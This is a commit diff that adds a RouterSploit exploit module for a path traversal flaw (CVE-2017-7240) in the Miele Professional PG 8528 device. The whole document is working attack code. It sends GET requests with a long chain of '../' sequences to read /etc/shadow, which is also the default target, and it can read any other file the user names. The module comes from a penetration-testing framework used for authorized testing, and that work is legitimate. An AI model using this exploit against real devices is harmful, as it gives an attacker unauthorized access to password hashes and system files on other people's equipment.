Miele Professional PG 8528 Path Traversal (#217)

* Miele Professional PG 8528 Path Traversal

* Adding line break and removing len function

routersploit/modules/exploits/miele/pg8528_path_traversal.py

+from routersploit import (
+    exploits,
+    print_success,
+    print_error,
+    print_info,
+    http_request,
+    mute,
+    validators,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Miele Professional PG 8528 Path Traversal vulnerability.
+    If the target is vulnerable, content of the specified file is returned.
+    """
+    __info__ = {
+        'name': 'Miele Professional PG 8528 Path Traversal',
+        'description': 'Module exploits Miele Professional PG 8528 Path Traversal vulnerability which allows '
+                       'to read any file on the system.',
+        'authors': [
+            'Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7240',
+            'https://www.exploit-db.com/exploits/41718/',
+        ],
+        'devices': [
+            'Miele Professional PG 8528 PST10'
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
+    port = exploits.Option(80, 'Target Port')
+    filename = exploits.Option('/etc/shadow', 'File to read')
+
+    def run(self):
+        if self.check():
+            url = "{}:{}/../../../../../../../../../../../..{}".format(self.target, self.port, self.filename)
+
+            response = http_request(method="GET", url=url)
+            if response is None:
+                return
+
+            if response.status_code == 200 and response.text:
+                print_success("Success! File: %s" % self.filename)
+                print_info(response.text)
+            else:
+                print_error("Exploit failed")
+        else:
+            print_error("Device seems to be not vulnerable")
+
+    @mute
+    def check(self):
+        url = "{}:{}/../../../../../../../../../../../../etc/shadow".format(self.target, self.port)
+
+        response = http_request(method="GET", url=url)
+
+        if response is not None and "root:" in response.text:
+            return True  # target vulnerable
+
+        return False  # target is not vulnerable